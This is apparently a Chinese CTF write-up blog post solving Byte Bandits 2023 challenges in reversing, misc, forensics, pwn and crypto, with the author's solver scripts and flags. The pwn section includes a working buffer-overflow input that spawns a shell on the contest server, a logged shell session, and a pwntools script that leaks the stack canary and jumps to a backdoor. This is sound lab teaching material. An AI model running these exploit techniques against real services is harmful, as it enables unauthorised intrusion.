[Byte Bandits 2023] 部分

134 篇文章 21 订阅
60 篇文章 12 订阅

24小时赛又当成48小时的了。

REV/ez-pz-xor

题目放入ida发现就是一个简单的异或,但发现里边有ptrace函数,应该是作了反调。

  result = sys_ptrace(0LL, 0LL, 0LL, v0);
  if ( (_DWORD)result != -1 )
  {
    for ( i = 0; i <= 255; i += 8 )
    {
      v3 = (_QWORD *)(i + ((unsigned __int64)_do_global_ctors_aux & 0xFFFFFFFFFFFFF000LL) + 0x3000);
      if ( (*(_QWORD *)(i + ((unsigned __int64)_do_global_ctors_aux & 0xFFFFFFFFFFFFF000LL) + 0x3000) ^ 0x9D56D68360D417FDLL) == 0x986FD3BA65ED12C4LL )
        break;
    }
    result = (signed __int64)v3;
    *v3 ^= 0x119011901190119uLL;
  }

在result后下断点,然后把result(rax)改为0,就能得到正确的xor_key,连接远程,输入密码即可。

from pwn import *

e = u64(b'password')
k = 0x0420042004200420
print(p64(e^k))
#b'PeSwWkR`'
#flag{x0R_8ut_wi7h_4_5l1gh7_tw1s7!!}

Misc/Tree of Secrets

从给的message和root包看就是个huffman编码

把目录的0和1连在一起对应最后的字符,匹配字典解码后再用base64解码。

from os import listdir 
from os.path import isdir 



def getlist(path):
    for v in listdir(path):
        r = path+'/'+v
        if isdir(path+'/'+v):
            getlist(path+'/'+v)
        else:
            print(r)
            tr = r[7:].replace('/','')
            dic[tr[:-1]] = tr[-1]
            
dic = {}        
root = './root'
getlist(root)
print(dic)


a = '00011000110011110000000100110000101011001111100000111101011010101101000010111100110100101001101001010001101111111111111111010111010001001'

e = a
f = ''
while(len(e)>0):
    for i in dic:
        if e.startswith(i):
            e = e[len(i):]
            f += dic[i]
            print(f)
            break 
    else:
        print(e)
        break
#RkxBR3t3SGFUXzdIRV9IdUZmX000TiF9
#FLAG{wHaT_7HE_HuFf_M4N!}
#flag{wHaT_7HE_HuFf_M4N!}

Forensics/Random Requests

流量题,打开后大部分没用,http返回都是无只是get /flag=0 每8个跟一个%20空格

把这些过滤出来每8个转ascii码

#tshark -r random_requests.pcapng -Tfields -e http.request.uri > aaa.txt

msg = open('aaa.txt').readlines()

flag = ''
enc = ''

for v in msg:
    if v[:6] == '/flag=':
        #print(f"{v}")
        if v[6] == "%":
            flag += chr(int(enc,2))
            enc = ''
        else:
            enc += v[6]
            #print(enc)

from base64 import *
print(b64decode(flag+'='))
#flag{nOT_So_r4ndom_h77p_r3qu35ts
#flag{nOT_So_r4ndom_h77p_r3qu35ts}

Pwn/Easy pwn

输入溢出后边就是system,直接输入8个a后边跟/bin/sh即可

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+8h] [rbp-28h] BYREF
  char command[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  strcpy(command, "ls");
  puts("Hi! would you like me to ls the current directory?");
  read(0, buf, 0x18uLL);
  if ( !strcmp(buf, "no\n") )
  {
    puts("Oh, ok :(");
    exit(0);
  }
  puts("Ok, here ya go!\n");
  system(command);
  return 0;
}
┌──(kali㉿kali)-[~/ctf/dice]
└─$ nc pwn.bbctf.fluxus.co.in 4001
Hi! would you like me to ls the current directory?
aaaaaaaa/bin/sh
Ok, here ya go!

ls
ez-pwn-1
cd /
ls
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr
cd home
ls -la
total 12
drwxr-xr-x 1 root root         4096 Feb  4 05:23 .
drwxr-xr-x 1 root root         4096 Feb  4 05:47 ..
drwxr-x--- 1 root pwnable_user 4096 Feb  4 05:23 pwnable_user
cd pwn*
ls -la
total 40
drwxr-x--- 1 root pwnable_user  4096 Feb  4 05:23 .
drwxr-xr-x 1 root root          4096 Feb  4 05:23 ..
-rw-r--r-- 1 root pwnable_user   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 root pwnable_user  3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 root pwnable_user   807 Jan  6  2022 .profile
drwxr-xr-x 1 root pwnable_user  4096 Feb  4 05:23 .the_flag_is_in_here
-r-xr-x--- 1 root pwnable_user 16184 Feb  3 17:43 ez-pwn-1
cd .the*
ls
flag.txt
cat flag*
flag{4_Cl45siC_M3mOry_COrrupt1ON}

Pwn/Medium pwn

主程序进行循环调用gimme_pointer,这个函数直接给出栈地址,可以执行栈内地址泄露并可以溢出。最后还有一个后门。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  puts("Hi! I am the Stack Oracle.\n");
  while ( 1 )
    gimme_pointer();
}
unsigned __int64 gimme_pointer()
{
  const void *v1; // [rsp+8h] [rbp-28h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("You are here: %p\n Give me an address and I will grant you 8 leaked bytes:\n", buf);// 栈地址,+18 canary,+28 main+16,+38 main_ret
  read(0, buf, 0x40uLL);
  hex_string_to_byte_array(buf, &v1, 16LL);
  printf("Here are the contents of %p:\n", v1);
  print_buf((__int64)v1, 8);                    // 输入8字节
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 this_function_literally_prints_the_flag()
{
  int fd; // [rsp+Ch] [rbp-54h]
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("flag.txt", 0);
  read(fd, buf, 0x40uLL);
  puts(buf);
  close(fd);
  return __readfsqword(0x28u) ^ v3;
}

先泄露canary,加载地址,最后执行后门。一开始泄露libc还是2.35后来看没用。

from pwn import *

#p = process('./ez-pwn-2')
p = remote('pwn.bbctf.fluxus.co.in', 4002)

elf = ELF('./ez-pwn-2')
#libc6_2.35-0ubuntu3_amd64
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')

context(arch='amd64', log_level='debug')

p.recvuntil(b'You are here: ')
stack = int(p.recvline(), 16)

def get_v(where):
    p.sendafter(b'bytes:\n', p64(where).hex().encode())
    p.recvuntil(b":\n")
    v = u64(bytes.fromhex(p.recvline().decode()[:-1]))
    return v

'''
canary = stack+0x18
main_ret = stack+0x28 
libc_ret = stack+0x38 
'''
addr = []
for i in [0x18,0x28,0x38]:
    v = get_v(stack+i)
    addr.append(v)

for v in addr:
    print(hex(v))

elf.address = addr[1] - 0xa21
libc.address = addr[2] - 0x29d90
pop_rdi = elf.address + 0x0000000000000a93 # pop rdi ; ret

p.sendafter(b'bytes:\n', p64(stack+0x18).hex().encode()+ flat(0,addr[0],0,elf.address+0x8f7))
p.recvline()
p.interactive()    

Crypto/Crypto Masquerade

给了一个很长的程序,不过看起来越来越简单,因为key直接给了,直接用原来的程序decrypt就行了

import base64
import random
import math

from Crypto.Util import number
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC

BIT_L = 2**8

with open("flag.txt", "r") as f:
    FLAG = f.read()


def generate_secrets():
    p = number.getPrime(BIT_L)
    g = number.getPrime(BIT_L)
    h = (p - 1) * (g - 1)
    a = 0
    while number.GCD(a, h) != 1:
        a = number.getRandomRange(3, h)
    b = pow(a, -1, h)
    return p * g, g, a, b


def main():
    p, g, a, b = generate_secrets()

    A = pow(g, a, p)
    B = pow(g, b, p)
    key = pow(A, b, p)

    print("p :", p)
    print("g :", g)
    print("A :", A)
    print("B :", B)
    print("key :", key)
    assert key == g

    password = key.to_bytes((key.bit_length() + 7) // 8, "big")
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256,
        length=32,
        salt=b"\x00" * 8,
        iterations=100000,
        backend=default_backend(),
    )
    key = base64.urlsafe_b64encode(kdf.derive(password))
    f = Fernet(key)
    token = f.encrypt(FLAG.encode("ascii"))

    print("message : ", token.decode())


if __name__ == "__main__":
    main()
key = 106211347942059110182524856864518880390652192247283122551577210863724782291569
message =  b'gAAAAABj3wsm86_VA1vNARGgHvEW2IEWnk_cIcwLp7P0eL5d8rLCae5bb_hMhd4UOWmVsd5Ay1aNDoLZbBEZYKu0b5dSwgoHwyjifwaM6g7rQn0NpDZRF6FXmRAJAiNc9WYqiRCnJ3Lh'

import base64
import random
import math

from Crypto.Util import number
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC

password = key.to_bytes((key.bit_length() + 7) // 8, "big")
kdf = PBKDF2HMAC(
    algorithm=hashes.SHA256,
    length=32,
    salt=b"\x00" * 8,
    iterations=100000,
    backend=default_backend(),
)
key = base64.urlsafe_b64encode(kdf.derive(password))
f = Fernet(key)
token = f.decrypt(message)
print(token)

Crypto/Visionary Cipher

这题基本上是手工作,10个key,已知flag头尾flag{和}手工算6位,然后4位爆破

from string import ascii_lowercase, digits
from random import choices
from hashlib import md5

with open("flag.txt", "r") as f:
    FLAG = f.read()

alphabets = ascii_lowercase + digits + "_{}"
key = "".join(choices(alphabets, k=10))

def pos(ch):
    return alphabets.find(ch)


def encrypt(text, key):
    k, n, l = len(key), len(text), len(alphabets)
    return "".join([alphabets[(pos(text[i]) + pos(key[i % k])) % l] for i in range(n)])

def decrypt(text, key):
    k, n, l = len(key), len(text), len(alphabets)
    return "".join([alphabets[(pos(text[i]) - pos(key[i % k])) % l] for i in range(n)])

print("c :", encrypt(FLAG, key))
print("hash :", md5(FLAG.encode("ascii")).hexdigest())
from string import ascii_lowercase, digits
from random import choices
from hashlib import md5

alphabets = ascii_lowercase + digits + "_{}"
key = "".join(choices(alphabets, k=10))


def pos(ch):
    return alphabets.find(ch)

def encrypt(text, key):
    k, n, l = len(key), len(text), len(alphabets)
    return "".join([alphabets[(pos(text[i]) + pos(key[i % k])) % l] for i in range(n)])

def decrypt(text, key):
    k, n, l = len(key), len(text), len(alphabets)
    return "".join([alphabets[(pos(text[i]) - pos(key[i % k])) % l] for i in range(n)])

'''
┌──(kali㉿kali)-[~/ctf/bb]
└─$ nc crypto.bbctf.fluxus.co.in 3002
c : pm6tbb8tvfhiwkdqvd}gvz3zhfbcfa{hw0h5rv
hash : 17382b1a9caad37bd127f2a7984ccbb9

key = kb6nc..w..
abcdefghijklmnopqrstuvwxyz0123456789_{}
flag{    }
5,k = 15
11,b = 12
0,6 = 32
6,n = 19
37,c = 1

38,w = 21
'''
key = 'kb6ndaawaa'
#FLAG = 'flag{________________________________}'
#enc = 'pm6tb__t__h{3ka__t__h{3ka__t__h{3ka__v'
#print(encrypt(FLAG, key))
#print(decrypt(enc, key))
c = 'pm6tbb8tvfhiwkdqvd}gvz3zhfbcfa{hw0h5rv'
hash = '17382b1a9caad37bd127f2a7984ccbb9'
for i1 in alphabets:
    print(i1)
    for i2 in alphabets:
        for i3 in alphabets:
            for i4 in alphabets:
                key = 'kb6nd'+i1+i2+'w'+i3+i4
                FLAG = decrypt(c,key)
                if md5(FLAG.encode("ascii")).hexdigest() == hash:
                    print(FLAG, key)

#flag{0h_n0_h3_ac7u41ly_me4nt_v1g3ner3}  kb6ndo1wis             

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值